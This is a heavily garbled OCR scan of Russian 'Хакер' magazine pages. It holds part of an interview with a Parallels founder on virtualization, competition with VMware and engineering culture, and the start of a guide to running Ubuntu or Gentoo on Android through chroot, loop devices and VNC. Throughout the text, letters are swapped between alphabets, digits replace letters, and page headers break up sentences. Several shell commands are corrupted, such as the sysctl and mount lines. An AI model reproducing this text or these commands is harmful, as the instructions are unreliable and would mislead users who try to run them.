тить на стартап. У вас есть неплохая идея, да и вы вроде бы умный человек. Вас все слушаю1 кивают, но никт0 не гOтов разделить с вами риск. В итоге вы платите значимые для вас деньги lскажем, 100-200 тысяч долларов в месяц), а доход растет несOпOставим0 медленн0, составляя ма-аленькую часть от этой суммы. Состояние такое...,Ща хочется все закрыть! Единственное, что понимание, чт0 если закроешь, удерживает, т0 уже тOчн0 ничег0 не вернется. Уrроза того, что }.{ы не выдержиl.{, сло14аемся и просто все закроем. в начале 2000-х висела над на1,{и очень реально. Было тяжело. Развивались контейнерные технологии и контрольные панели вокруг них. Тогда с нами фактически конкурировала компания Plesk, похожая на нас тем, что продажи у нее были за рубежом, а

-

разработка в России, конкретней-в Новосибирске. У них не было контейнерных технологий, но были достаточно популярные контрольные панели. У нас контрольные панели тоже были, но плохие. Мы объединились и через полгода вышли на уровень Ьгеаk ечеп, хотя до объединения обе компании были убыточны. С тех пор один из наших центров разработки находится в Москве.

flесктоп-виртуализация началась

с очень ин-

тересной истории. Существовала независимая компания, куда в начале 2000-х обратились немецкие предприниматели. 0ни сказали, что есть такая проблема: почти весь софт для банкOматOв написан пOд 0перациOнную систему 0S/2. Проблема в том, что lВМ больше ее не поддерживает, бросила на произвол судьбы, а на новое железо 0S/2 не встает. У банков, стало быть, есть два выхода заменять банкоматы на новые Iчто очень дорого) или менять П0 на Windows NT (это тоже дорого]. Но мOжн0 пOступить иначе написать виртуаль-

-

-

ную машину, которая будет изображать старый компьютер, Эту виртуальную машину можно ставить на Windows, а внутри будет 0S/2, которая будетдержатьтотже банковский софт. На

этом, мол, можно заработать <тонны нефти>. lчlы начlли эту коl.{панию. У нас давно созрела идея, что SWsoft неплохо было бы иметь собственный гипервизор. В сущности, хотели договориться о том, чтобы мы их поглотили, Ключевые люди из этой команды работают с нами до сих пор, в частности Николай

-

flобровол ьс ки й. Когда tlы встретились с Колей, он хотел с нами договариваться. 0н понимал, что мы дадим ему не тOльк0 инвестирOвание, чт0 мы лучше нег0 знаем рынOк и у нас уже есть, может быть, не совершенный, но работающий механизм маркетинга и продаж. Поэтому мы дOгOворились на справедливых услOвиях и пOглOтили эту кOманду. На Jtlac }rы тогда не смотрели. Мы лросто пOглOтили их, не сOвсем пOнимая, как интегрируем этот гипервизор <в себя>. Планов, конечно, было море, но сначала мы ушли от идеи 0S/2. Было понятно, что это <(не взлетаeTD, к тому же банки не могли сидеть и ждать, когда мы принесем им решение. Oни просто

апгрейдили свои системы, и 0S/2 исчезала со сцены. Какое-то вре}..lя 1,1ы держали ко1.{анды раздельно. Было не очень понятно, как их интегрировать, ведь бизнес, связанный с разработкой софта для сервис-провайдеров, и бизнес

по разработке П0 для десктоп-виртуализации очень разные. Впрочем, у них есть общий момент- гипервизор, который мы используем не только в десктопном П0, В итоге мы все-таки сделали 0дну кOмпанию вряд ли мы смOгли бы создать две инженерные команды, спосо6ные делать хOрOшие прOдукты. Сейчас у Раrаllеl5 два основных бизнеса десктоп-виртуализация и софт для сервис-провайдеров, который позволяет им предоставлять малым бизнесам облачные услуги. <0блачная)) часть нашего бизнеса растет чрезвычайно быстро, (06лачныйD софт состоит из двух частей. Первая платформа, которая называется РOА (Раrа||е|s 0регаtiопs Automation), отвечает за определение сервиса (почта, совместная работа. коммуникация], за склейку компонентов в единый сервис и доставку и установку всего этого на сторону клиента. Вторая это РВА {Рагаllеls Business Automationl биллинг, умеющий работать с существующими биллингсистемами, в разных странах и так далее.

-

-

УгРO3А ТOГ0, что 1ý{ы нЕ ВыдЕРжи]r,l, слOмАЕрlся и прOсто всЕ зАкрOЕ},l, в нАчАлЕ 2000_х висЕлА нАд нАlчи

0чЕнь рЕАльн0. Был0 тяжЕл0.

-

-


cOvERSTORY @

Если вы заниtqаетесь чисты}.t копированиei{, ваlllи },l единственны },{ аргументом будет фраза <Зато ttы дешевле>>. А это очень слабая пOзиция. Хороцlи}.t при },lepoiii будут китайские телеФоны Nokla. Если посмотреть на них. там все отлично: две SlМ-карты, телевизор, цена хоЗ000 рублей, но люди все равно хотят рошая обладать Samsung и iPhone, а вовсе не Nokla. Сначала в десктоп-продукте под Windows и Linux llы во l,tногоl.{ копировали то, что делала vilWare с ее VJr,lware Workstation. Но проблема с копированием заключается в том, всегда чт0 компания, кOтOрая кOпирует,

-

-

догоняет. У VМwаrе было больше дене1 у них была львиная доля рынка, и победить с нашими силами и ресурсами на этом поле было

невOзмOжн0. Но тут Apple неожиданно объявила о переходе на процессоры lntel; наша технология стала легко переноси1,1а на Мас 0S. На руку нам сыграло и то, что vмwаге была большой компанией, я не могу сказать <неповоротливой", но,,,

Apple была совершенно не интересна больtлиtt игрокаl,it с финансовой точки зрения. Первые оценки рынка, которые мы делали, были таковы наверное, можно будет заработать пять миллионов долларов в год. При озвучивании этой цифры у всех нас начиналOсь непрOизвOльнOе слюнOотделение, а для VМwаге это было вообще ни о чем, поставки ]r,lac до сих пор составляют не более пары десятков процентов от всего количества ноутбуков РС, но они попадают к нух(ным людяi{. Например, СЕ0 lntel ходит с Мас. То есть топ-менеджмент очень быстро полюбил их, И журналисты тоже, В общем, Мас занимает небольшую долю, но о нем говорят те люди, к чьему мнению прислушиваются. vl{wаrе rде-то через год заметила, что наlц десктоп-продуктхорошо продается. flумаю, они

-

решили раздавить нас чисто механически. Это было разумным решением с их стороны виртуализацию 0ни пOнимаютдOвольн0 хорош0, 0пыт у них большой, компания сильная, они обладают огромным опытом в том, как делать правильный софтвернвtй девелопмент.

-

V1,1ware выпустила Fчsiоп, который при-

нялся отжирать наlл рынок. В первый год Fusion перетянул к себе около половины наших клиентов. Но, в отличие от Рагаllеls, для VМwаrе этOт прOект имел далек0 не первOстепенную значимость. 0сновное для них это серверная

-

виртуализация для епtегргisе-клиентов, А для нас Рагаllеls Desktop стал очень важной частью дохOда практически с самOг0 начала, пOэтOму мы сфокусировались на его развитии. Уже где-то через год llы принялись понемногу отъедать обратно тех пользователей, которых потеряли. На сегодня мы занимаем доминирliющую позицию на рынке десктопвиртуализации, хотя VМwаге уже перепробовала все способы борьбы с нами. На протяжении всех лет цена на продукт была одинаковой, а VttlWare уронила свою цену в два раза. Но это уже не помогало. То

0з0

есть экспериментальным путем мы выяснили-если сфокусироваться и долго бить в стену, в одну точку, стену все-таки можно пробить,

0сновная проблеttа виртуалиэации это скорость работы. Несмотря на то что мощность кOмпьютерOв растет с каждым гOдOм, 0ни все равно никогда не бываютдостаточно мощными. ,Щовольно ваlкной вехой было то, что

-

vl{ware сllогла добиться лучшей производительности на серверах. Существует некий набор инструкций, которые гостевая

0С не может выполнять прямо на процессоре. Если у вас есть инструкция, которую хOчет выполнить гOсть, слOжить регистр АХ с регистром ВХ, нет проблемы, разрешим сделать это на процессоре. 0днако имеется некий ограниченный набор инструкций, который меняет режим работы процессора (сегментные регистры перезагружают, еще что-то]. Если позволить гостю их делать, т0 вся изOляция между гOстем и хOстом исчезает. В лучшем случае это приводит к тому, что нет безопасности. Но тут уж бог бы с ней. В худшем случае все просто падает, так как п0 идее гOстевая операциOнная система не должна знать ничего о хостовой. yi,lware построила хороlлую технологию, которая все это учитывает. Кроме того, есть еще один нюанс. 0бработчик привилегированных инструкций не должен занимать много тактов, потому что они действительно встречаются часто, особенно в ядерном контексте. Так чт0 если у нас стOит 0днOтактная инструкция, а мы заменяем на обработчик, который выполняется в 1 0 000 тактов, мы тут же просаживаемся п0 скOрOсти. в vJtlwаrе создали технолоrию, которую они называют дина1,{ической или бинарной

трансляцией. Просто берут код, идут по нему и, если нужно, расширяют in рlасе. К чему это

приводит? К примеру, у меня здесь стоит некий jump вот сюда. Я расширяю, соответственно, мне нужно проапдейтить этотjumр, чтобы он пOказывал в нужное мест0. Где-то к 2005 году они сделали это так хороlло, что 1.|ог бы гордиться любой инженер. !остаточно сказать, что, когда lпtеl ввел свои аппаратные инструкции, пOлучилOсь так, чт0 у VМwаге скорость динамической трансляции была примерно одинакова со скоростью аппаратного lпtеl, i,lы тоже с этим боролись с по1.1оlцью контейнеров, и, дуttаю, сейчас 1,1ы не сильно отстаем от vJtlware в этоtl вопросе. Изначально наш подход был похож на решение Connectix. Мы называли его Smаrt kеrпеl optimization немного проще, чем у VМwаге, но хорошо работал, давал похожую производительность. Единственный его недостаток закладывалOсь знание 0 тOм, чт0 эт0 именн0 та гOстевая 0С, а не другая, В зависимости от конкретной гостевой 0С, паттерн встречи этих привилегированных инструкций может меняться. Ду}.{аю, никаких особенных открытий в этой области в ближайщем будущем не произойдет. Реально прорывныл,{ с аппаратной точки зрения и с точки зрения поддержки виртуализации софтом была непосредственно технология VTX, 0стальные вещи, что они выпустили, VTD, VTC и прочее являются поступательными шагами. На сегодня виртуализация стала обычныtl pecypcott. У Micгosoft есть Нурег-V. Есть VМwаге с его ESX. У хостеров выбор еще шире: KVM, Хеп, Нурег-V, ESX, Viгtuоzzо, наш Рагаllеls что хочешь, то и используй. Cloud Sегчег Виртуализация будет всегда и везде, В каждой 0С, на каждом устройстве, ведь это удобно с мнOгих тOчек зрения.

-

-

-

-

хАкЕр

09 /16412012


Интервью со Станиславом Протасовым Что ждет нас дальчrе? Разумеется, Нурег-V никуда не уйдет. Как минимум, в ближайшие нескOльк0 десятков лет никуда не исчезнет ESX, потому как это гипервизор номер один на епtеrргisе-рынке. Конечно, KVM будет расти он простой, хорошо и компактно сделан. Его любят Linux kегпеl-люди, и это лишь вопрос времени, прежде чем он будет в каждом дистрибутиве Linux. Хеп тоже не пропадет, но, мне кажется, его доля будет падать. Причина проста вендоры дистрибутивов меньще внимания уделяют Xen, 0ни не то чтобы предпочитают KVM, просто Хеп сложнее. У сложных вещей есть возможность войти в каждый дистрибутив, если они входят в vanilla kегпеl. Но чтобы пойти в чапillа kегпеl, он должен интегрироваться. дабы его дальнейшая пOддержка технолOгии виртуализации не представляла сложности. Лично у меня сложилось впечатление [возможно, ошибочное], что Хеп интегрируется не слишком хорошо. Делать свою виртуализацию сеrодня ilогуттOлько 0чень отважные люди. Не представляю, что нужно сотворить, чтобы найти там какую-то новую нишу. Впрочем, Niсiга, которую недавно купила Vlr4wаrе, делала виртуализацию сети. Хороший пример люди нашли нишу, в которой никто не играл. Конечно, ttы знаем про 0репFlоw, даже наблюдаем за ни1,1и. это кажется Ha},i интересныll, но личн0 я не знаю, что из этог0 ll0жет получиться. Здесь ведь очень важен вопрос не хватает времени фокуса, Вечная проблема и сил, фокусироваться нужно на чем-то одном. Хотя сетевая виртуализация может быть очень интересной темой, я не буду загадывать.

-

-

-

-

Было бы сложно перечислить 5-10 нащих главных ошибок. 0шибки совершаются ежедневно. и, как всегда и бывает с ошибками, скOрее всег0, главные среди них вовсе не те, кOтOрые я считаю главными. Составить непротиворечивый свод правил невозмо)i(но. Неважно законы это или правила разработки. Поэтому я всегда старался строить процессы, понимая, что обязательно возникнут ситуации, в хOде которых процесс будет нарушен. Ничего страшного в этом нет. 0собенно в начале, когда у вас еще маленькая команда в ] 0-50 человек, роль процессов не 0чень важна. В России очень вах(но строить процессы с самоr0 начала с саli{ог0 l,ilини1.1ального размера стартапа. В Америке человек, поработавший в Мiсгоsоft и пришедший вАmаzоп, не встречает для себя ничего удивительного, Потому что в Аmаzоп примерно 60% людей перебежчики из Мiсгоsоft. Придя в Google, он тоже не встретит ничего удивительного. Процессы в разных компаниях похожи. В России компаний, поСтроивших инженерные процессы, очень мало. А от инженерных процессов зависит качество продукта. Если процесса не1 выдать на_гOра качество невOзмOжн0. сласибо vJllware за то, что она решила с нами конкурировать, блаrодаря этOму lrы

-

-

хдкЕр

о9 11bL/

9о1,

l,ilногому научились.

для того чтобы успещно

противостоять такой компании, нужно иметь нормальную культуру разработки и нормальные прOцессы. Рано или поздно точно приходится делегировать ответственность. Иначе контора не выживет, Микроменеджмент имеет недостатOк если 0н продOлхается все время, он демотивирует людей. 0ни просто занимают позицию <что скажут, то и буду делать>. Как начальство придумает, так и будет. Главное сделать все, чт0 сказал0 начальство, и при-крыть себя со всех сторон. Это убиваетлюбую иннOвациOнную компанию.

Человек должен иметь право на оtлибку и на выбор собственного пути. Но выбор собственного пути... чтобы человек правильно это сделал, он тоже должен быть натренирован. Скажем, вы ведь не разрешите своему годовалому ребенку хOдить п0 лестницам самOстOятельно 0н споткнется и сломает шею. Вы даете ему руку и ведете за руку. Человека предварительно нужно специальн0 тренировать. ]tlicrosoft разработала свое видение и свой процесс, который мы активно заиllствовали. 0ни изобрели роль программ-менеджера, QAменеджера, dеч-лида это триада, которая, по сути, работает над проектом. Мiсгоsоft разработал все это потому, что период, который сейчас переживает Рагаllе|s, они пережили еще в0 времена мамOнтOв. Вначале мы обращали i{иниllальное вниtlание на процессы. !а, у нас был sоurсе сопtrоl, иначе просто невозможно коллективно работать над кодом. fla, с самого начала у нас был bug trасkiпg давал о себе знать наш опыт с аутсорсных времен. Но вот геqчirеmепt managament у нас не было. Многих других вещей тоже не было, например code гечiеw. Понятие автOматическOг0 тестинга... нам повезло: контейнеры такая технология, что нам пришлось озаботиться этим рано, но изначально этого не было тоже, Разумеется, у нас есть внутренние порталы, мы используем и Wiki, и Shагероiпt. Есть и анбординг-процесс, есть и коучинг. Без этого невозможно существовать. Когда я был 1.1олодым, я считал, что иожно сделать пOлную дOкуllентацию на прOдукт. технологию. Нет, невозможно, получается слишком большой очегhеаd, !олжен быть здравый смысл, во многом отданный на откуп разработчикам и ключевым людям.

-

-

-

В Америке

пишут больше докуl,iiентации

не потому, что они идиоты или, наоборот, очень умные. Просто они кровью заплатили за понимание пользы от этой документации. 0гроllное количество людей неспособно написать документацию. Можно, конечно. их заставлять, посылать на курсы, н0, к сOжалению, это не очень помогает. Также есть люди, кOтOрые пишутдокументацию 0хOтн0, им это н ра в ится. Нужно п оо щрять их делать та кие вещи. В общем, все как обычно серебряной пули нет,

-

минимум три интервью, на каждое из кOторых отводится час. На интервью приходит один человек. Это важно. Интервью коr4итето},{ глупая веlць. что 1,1ы уже выучили на собственном опыте. ,Щело в тOм, чт0 кOгда с кандидатOм разговаривают несколько человек, у них сразу же образуется единое мнение. Если они говорят по отдельности не факт, что оно будет единым. На интервью я задаю вопросы трех типов. Первый просто жизненный, на общую адекватность. Второй на соображалку, Третий элементарные вещи, помогающие пOнять, чт0 пOдгOтOвка сOискателя не совсем безнадежна. Например, мы спрашиваем, как компилятор что-нибудь на стек положит. Просто чтобы увидеть, есть ли у человека пOнимание 0снOв. В софтверноl.| инжиниринге все эадачи неспецифицированы до конца. Поэтому есть еще 0дна важная часть интервью: понять, насколько человек быстро и хорошо соображает. Наверняка вы слыщали про вопросы для собеседования в Google: шарики в автобусе, помыть стекла,.. Эти задачки не обязательно должны быть про шарики в автобусе. 0ни не на логику. Идея в том, чтобы посмотреть, как хOрOш0 челOвек подхOдит к решению неспецифицированных задач. Когда условия этой задачи приходится ставить самому. Всех кандидатов через себя не пропускаю, Всех я бы, наверное, сейчас уже не потянул. У нас есть статистика.., думаю, в неделю у нас проходит около 30-50 интервью. Людей мы ищем постOянно. Хорочrий, очень глубокий человек ищет

-

-

-

работу редко. Это происходит раз в 5-10 лет, пOтOму чт0 кOнтOра накрылась, 0тдел разOгнали или ему дали начальника, который принялся демOнстрирOвать свOе эг0, и челOвек не выдержал.

-

Команда это очень важно, это самое важное в софтверноl,{ бизнесе. Суперквалифицированные, суперопытные, мотивированные работой и интересными проектами люди встречаются, но очень редко. Именно

пOэтOму нужно интервьюирOвать все время, иначе такие люди не будут попадаться вовсе. Если же такой человек находится, когда у

кOмпании приOстанOвлен наем, ег0 все равн0 нужн0 затаскивать в кOмпанию, несмOтря на сопротивление кого угодно, Это редкие л

юди.

Реальная ценность Parallels заключена Totl, что называется интеллектуальной собственностью. Это код, который мы написали. Но не только он. Без того, что в головах людей, этот код не имеет смысла. Любой, кто вOзьмет его и пOпытается что-то с ним сделать, наступит на огромное количество граблей, на которые мы уже наступили. И даже если попросить нас рассказать об этих граблях мы не сможем,0ни обходятся инстинктивно, все прям0 как у 0пытных саперOв, Я уверен, что начrиll драйвероll роста был не продукт. flрайвер роста это всегда люди. В нашем случае драйвером роста выступало наше в

-

-

Процесс интервью у нас относительно нефор1,1ализованный, но мы стараемся, чтобы было

неуемнOе желание делать прOдукты, а также, может быть, некая наша бестолковость.

t


cOvERsTORY

}-lечтеют

Z,_

лпандроидьl

об электропиNгвинах?

ry I.7

УстАНАВлиВАЕ].i LINUх-дистРиБУтиВ НА тЕлЕФOН и плАншЕт пOд упрАвлЕниЕ},l ANDROID Прошло совсем немного времени с момента выпуска первых смартфонов под управлением 0С Апdгоid до того,.как энтузиасты научились запускать на них полноценные дистрибутивы Linux. Сегодня методики установки Liпuх-дистрибутивов на Апdгоid-устройства широко известны, а в репозитории Google Рlауестьдаже автоматизированные системы установки и запуска Linux. В этоЙ статье я попытаюсь аккумулировать весь накопленный опыт работы с Linux на смартфонах, расскажу, зачем это нужнО, и покажу, как избежать возможных подводных камней при переносе Linux на смартфон или планшет. хлкЕр

а9 /1ь/,/ 2012


Мечтаютли андроиды об электропингвинах?

I

на первый взгляд может показаться странным, что кто-то пытается запустить на мобильном устройстве операционную систему, в принципе не предназначенную для работы с экраном небольших размеров и без достаточно точного манипулятора (мыши] и клавиатуры. 0днако не стоит делать поспешных выводов. flистрибутив Linux мохет дать владельцу смартфона достаточно много преимуцеств, среди которых набор старых проверенных инструментов, таких как утилиты командной строки, продвинутые редакторы, FТР- и SSН-серверы, сетевые инструменты и средства разработки приложений.3апустив Liпчх без графической оболочки на смартфоне с хардварной клавиатурой [Моtоrоlа Drоid, к примеруl, можно достаточно комфортно всем этим пользоваться прямо на ходу без необходимости покидать сам Апdгоid. Все инструменты доступны в любой момен1 а смартфон продолжает оставаться смартфоном, пOзвOляя принимать звOнки и слушать интернет-радио. Второй аргумент за установку Linux на смартфоне - это возмOжнOсть использовать его в качестве переносной рабочей станции, которую можно подключить к любому ПК и тут же получить доступ к терминалу с помощью SSН/Теlпеt-клиента либо клиента VNC/RDesktop, Это по определению лучше, чем флешки с установленным Linux, так как нет необходимости, во-первых, перезагружать машину, а вO-втOрых, гOнять туда-сюда данные; результаты твоей работы будутдоступны сразу после того, как отключишь смартфон от компа. Наконец, наибольший выигрыш Linux дает на планшетах, экран которых позволяет более-менее сносно работать в графической среде, а вOзмOжнOсть пOдключить мышь и клавиатуру через OTGкабель так и вообще дает шанс превратить планшет в полноценную рабочую станцию. При этом никакой особой разницы между установкой дистрибутива Linux на планшет и смартфон нет.

Перенести Linux на Апdгоid действительно просто, и главную роль здесь играет ядро Linux. Любой Liпчх-дистрибутив представляет собой набор приложений и библиотек, работающих поверх ядра Liпuх, а так как Android сам основан на почти не измененном ядре Linux, эти приложения и библиотеки можно без каких-либо проблем запустить внутри среды Апdгоid. [остаточно лишь подыскать дистрибутив, для которого существует порт на платформу ARM [не забываем, что 99% всех Апdгоid-девайсов работают на ARM), установить его с помощью АRМ-эмулятора на виртуальный жесткий диск lтo есть в файлl, скинуть этот файл на SD-KapTy устройства, открыть терминал, смонтировать образ в качестве loopbackустройства и сделать сhгооt внутрь. Все! Это так же просто, как запуск FТР-сервера в сhгооt-окружении простой и проверенный десятилетиями метOд. Единственный камень преткновения, когда ты решаешь запустить дистрибутив Linux внутри Апdгоid, графическая среда.

-

-

Backтrack, запуценный на планщете В то время как с доступом к консоли никаких трудностей не возникает благодаря наличию полноценного эмулятора терминала, с графическими приложениями начинаются проблемы нативного Х-сервера для Апdrоid нет, а запустить обычный Х-сервер внутри самого дистрибутива невозможно из-за коренных отличий в архитектуре графической подсистемы зеленого робота. Несмотря на т0 чт0 в основе она использует стандартный Linux FrаmеЬuffег, поверх которого можно запустить Х-сервер, эксклюзивное право ег0 испOльзOвания изначально принадлежит более высокоуровневым библиотекам Апdгоid, поэтому остается либо загружать Linuxдистрибутив вместо Апdгоid [что совершенно непрактичноi, либо придумывать обходные пути. Энтузиасты вышли из этой ситуации, используя простой метод <удаленного> подключения к рабочему столу с помощью любого доступного для Апdгоid VNС-клиента. Внутри сhгооt-окружения запускается Х-сервер Хчпс, и все приложения работают под его управлением. Пользователю остается лишь установить VNCклиен1 вбить локальный адрес и вуаля, на экране появляется полноценный рабочий стол. Единственное узкое место при использовании удаленного это производительность. ,Щаже работая локальрабочего стола но, VNC не может обеспечить должный ее уровень, которого бы хватило для плавной прокрутки или перемещения окон без лагов. Решить эту проблему пока не удалось, проекты разработки нативного Х-сервера, который бы использовал графическую подсистему Апdгоid, еще очень сыры и не могут быть использованы для запуска полноценных графических сред, Впрочем, никто не запрещает их использовать; к примеру, Х Sеrчег от Daгkside Technologies Pty Ltd tgооцlь!з!о) вполне сгодится для запуска простого софта. Изначально Linux для Апdгоid сушествовал только в виде образа с уже установленной системой, а также пояснительной инструк-

-

-

-

AndroidvNc

хлкЁр

о9

-

подключаемся

l1b4l2i12

к рабочему

столу


cOvERSTORY цией как этот образ подключить и использовать. 3атем появились скрипты, которые автоматизировали процесс подключения образа и запуска Liпuх, но и они требовали некоторой работы головой. Наконец, в последнее время появились инсталляторы, доступные в Google Play {например, goo.gl/RSAli|, в некоторой степени автоматизирующие процесс запуска дистрибутива, хотя, по сути, это все т0 же рукOводств0 п0 устанOвке, н0 интерактивнOе, с прямыми ссылками на скачивание образов и скриптов.

Liпчх вполне может Выше я уже упомянул о том, что дист быть загружен вместо Апdгоid, благодаря чему удастся задействовать FгаmеЬuffег для прямого доступа к видеоадаптеру и существенно ускорить работу графического интерфейса. 0днако делать Linux непригоден это на смартфоне практически бессмысленно в качестве основной системы на небольших экранах, к тому же принимать звонки и пользоваться интернетом будет невозможно. А вот на планшете Linux будет выглядеть вполне достойно. 06ычно на устройство, изначально работающее под управлением Апdгоid, так называемая нативная версия Liпчх-дистрибутива устанавливается следующим образом. На внутреннем NANDнакопителе планшета создается дополнительный раздел, на который копируется Liпuх-дистрибутив. Затем загрузчик U-Boot [он применяется в большинстве планшетов) настраивается таким о6разом, чтобы использовать этот раздел в качестве загрузочного. В результате планшет будет автоматически загружать Linuxсистему пOсле включения питания. Чтобы оставить возможность загрузки Апdгоid, загрузчик U-Boot перенастраивают таким образом, чтобы раздел с Linuxсистемой был не основным, а выполнял функцию <раздела для восстановления> lRecovery Model, доступного с помощью включения устройства с зажатой клавишей громкости (тот самый, который используется для перепрошивки устройства и выполнения различных восстановительных операцийl. Таким образом удается получить устройство с двойной загрузкой: Апdгоid по умолчанию и дистрибутив Linux при загрузке в режиме восстановления. Сам Rесочегу Mode при этом остается доступным только с помощью специальных инструментOв. В случае если NАND-памяти оказывается недостаточно для размещения полноценной Liпчх-системы, ее части [обычно раздел /чsг] выносят в образ или раздел на SD-KapTe. Кстати, ехt2-раздел на карте памяти также можно использовать для установки Linux, запускаемой в сhrооt-окружении. Установить нативный Liпчх-дистрибутив сложнее, чем работающий в сhгооt-окружении, но это стоит того, если у тебя есть планшет и 0ТG-кабель, с помоцью которого можно подключить

-

клавиатуру i

Ubuntu на баlаху ТаЬ 'l0.1

и мь!шь.

Е Как

я уже говорил, для запуска под управлением Апdrоid пригодны только дистрибутивы, портированные на архитектуру ARM. Прежде всего это Ubuntu и Debian, причем первый по понятным причинам пользуется гораздо большим интересом среди роботоводов. Также можно установить Gentoo и несколько специализированных дистрибутивов, например Васktгасk. Рассмотрим самый типичный случай, то есть установку Ubuntu по стандартной схеме, без использования каких-либо автоматизированных инсталляторOв и прOчег0.

!,ля начала нам нухен образ жесткого диска с установленным дистрибутивом. Его можно создать самому, воспользовавшись эмулятором QEMU, однако в связи с тем, что процедура установки абсолютiо стандартна и типична, описывать ее я не буду, а просто направлю тебя по адресу goo.gl/9nvBi. Здесь лежит архив с образом, на который предустановлен Ubuntu 12.04 с графическим окружением LXDE (6ыло бы неразумно запускать Unity/GNOME на телефоне/планшетеl. Архив следует распаковать и положить файл ubuntu,img на карту памяти.

3апуск UЬчпtч с пошоlцью стартовOtо скрипта

хАкЕр

09/164120]2


Мечтают ли андроиды об электропингвинах?

6.

Переходии

в

сhrооt-окружение:

# chroot /nnt/ubuntu

Проект (UbUntu for AndroidD

в

Собственно, на этом установка заканчивается. Теперь можно запускать консольный софт, производить обновление системы, стартOвать сетевые сервисы и делать пOчти все, что можно сделать с обычной десктопной Liпuх-системой, не забывая, конечно, что некоторый соф1 напрямую взаимодействующий с железом и различными специализированными псевдодевайсами, работать не будет, Также не забываем, что виртуальные ФС после завершения работы следует размонтировать. Теперь нам необходимо установить и запустить Х-сервер Xvnc, экспортирующий дисплей и устройства ввода с использованием протокола VNC. ТightVNСsегчеr уже есть в представленном образе и даже настроен, но, чтобы ты лучше понял процесс и смог решить возникшие проблемы, я подробно опишу процесс его устанOвки и запуска. 1. 06новляемся и устанавливаем ТightVNСsеrчеr:

действии

,Д,алее надо смонтировать образ и сделать сhгооt в окружение дистрибутива.,Щля этого нужны права гооt, прошивка с поддержкой блочных lоорЬасk-устройств и установленный busybox lищем в Маркете по запросу <busybox iпstаllег>, в СуапоgепМоd есть по умолчанию). Последовательность действий: 1. 0ткрывае}i э1,1улятор терiilинала в Andгoid [если нет, ilожно установить из Маркета Terminal Еmчlаtоrl. Либо подключаем смартфон/планшет к компу и получаем доступ к терминалу с по-

#

2. Создаем #!

"Настройки

-

!ля разработчиков

iсеWm

э

0тладка

gпеу

ХК L_XMODMAP_DISAB

L

Е=1

&

3.

Третья команда здесь нужна, чтобы пофиксить проблемы, которые могут возникнуть из-за физического отсутствия на устройстве клавиатуры. 3апускаем Xvnc с по}itоlцью враппера чпсsеrчеrс правами root:

f

$su

ехрогt USЕR=гооt # чпсsеrчег -gеоmеtrу 7О24хаОО

Создаем блочноеlоорЬасk-устройство,подключаемкнемуо6РаЗДИСКа И 1,i|ОНТИРУеМ еr0:

В результате выполнения последней команды на экран будет выведен запрос на пароль для доступа к VNC-cepBepy, лучше

# mknod /dev/block/Ioop255 Ь 7 255 # mount -о геmоuпt,гW / f nkdiг /mnt/ubuntu # mount -о loop,noatime -t ext2 \ /sdcaгd/ubuntu. lmg /mnt/ubuntu

4.

пишеt4 в него следуюцее:

lxsession

2. Получаемправаrооt:

3.

и

/bin/sh

ехрогt

Не забываем, что режим отладки в этом случае должен быть >.

файл /root/.vnc/xstartup

xsetroot -solid

$ cd путь-до-Апdгоid-sDК/рlаtfогm-tооls $ Sudo ./adb she}1 включен:

instal1 ti8htчпсsеrvег

хгdЬ $НOМЕ/.ХпеSочгсеs

мощью adb:

And гоid

apt-get update

# apt-get

4.

Содержимое образа должно появиться в каталоге /sdсагd/ ubuntu. Проверь, чтобы это было так. Подключаем всенеобходиtiыедля работыдшстрибутивавиртуальные ФС: # mount # mount # mount

-t рrос ргос /mпt,/чЬчпtu/рrос -t sysfs sysfs ,/mnt,/ubuntu/sys 1,1ожно

было по-

# sysctt :W net.ipv4.ip*fonwand=1 # echo кпаmеsеrчег 8.8.8.8D > /mnt/ubuntu/etc/гeso].v.conf * echo (паmеsегчег 8.8.4.4D >> /mnt/ubuntu/etc/ геsоlч. conf # echo (127.0.0.1 localtostD > /mnt,/ubuntu/etc/hosts

хдкЁр

09

l164l2a12

Чтобы не заморачиваться с ручным вводом всех команд, можно использовать скрипт ubuntu.sh, расположенный здесь: goo.gllxSpK4. Просто положи его и образ ubuntu.img в каталог ubuntu на SD-Kapтe и запусти скрипт командой Sh ubuntu,sh, а через 5-10 секунд подключись к рабочему столу с помощью АпdгоidVNС. Имей в виду, что скрипт монтирует образ к каталогу /data/l ос

-о bind /dev /mnt/ubuntu/dev

Настраиваем так, чтобы из сhrооt-окружения лучить полноценный доступ в Сеть:

указать что-нибудь простое вроде <123>. Разрешение можно установить фактически любое, однако лучше, если оно будет совпадать с физическим разрешением экрана устройства, Устанавливаем на сtlартфон приложение AndroidVNC, запуcKae..r его, указы Baetl l Р-адрес и порт 5901, подключаеllся. На экранедолжен появиться рабочий стол LXDE.

а

l/m nt.

Итак, мы установили Ubuntu с помоцью образа с файловой системой и шаманств с lоорЬасk-устройством и сhгооt-окружением. Сделать это оказалось несложно, а с применением скриптов так и вообще очень легко, но что, если пойти дальше и установить более хардкорный дистрибутив, и не с использованием образов, а на выделенный ехt2-раздел на карте памяти? Так мы сможем решить проблему некоторых прошивок и ядер без поддерхки lоорЬасk-устройств и к тому же сможем насладиться нормальным дистрибутивом, установленным по всем правилам.


COVERSTORY Возьмем в качестве подопытной системы Gепtоо. Чтобы установить его на ехt2-раздел, нам понадобится карта памяти объемом не меньше 2 Гб и рутованный смартфон с установленным busybox, Последовательность действий такова: 1. flелаембэкапданныхскартыпа}.iяти исоздаеi{ нанейдополнительны й раздел, объемон не меньше двух гигабайт. Сделать это можно с помощью любой программы для разбивки дисков, однако иN4ей в виду, что если ты хочешь продолжать использовать SDка рту п о п ря м о му наз нач ен и ю, то созда вать tАТЗ2-раздел следует в начале карты, так, чтобы он стал первым, а дополнительный раздел для установки дистрибутива должен быть вторым.

2. Форilатируеi{ разделы SD-карты: $ sudo mkfs.vfat /dev/sdc]. $ sudo mkfs.exl2 /dev/sdcz

3.

4.

Беремтелефон,заходиtlв<(НастройкиэOтелефоне))исl,iiотриl.{, какой установлен процессор, flалее п ереходи м н а стра н и цу glq gl/PRfux и выкачиваем stаgе3для нужной архитектуры, например ежит в каталоге cu ггепt-stаg еЗ -агmч7а, l.{онтируеr.r ехt2-раздел карты паl,ilяти на коипе и распаковываe}.l в нег0 сOдержиt{ое пOлученного архива: stаgеЗ для ARM v7

л

$ sudo nount /dev/sdc2 /ппt $ sudo tаг -xxpf StаgеЗ-*.Ьz2 -С /mпt

5.

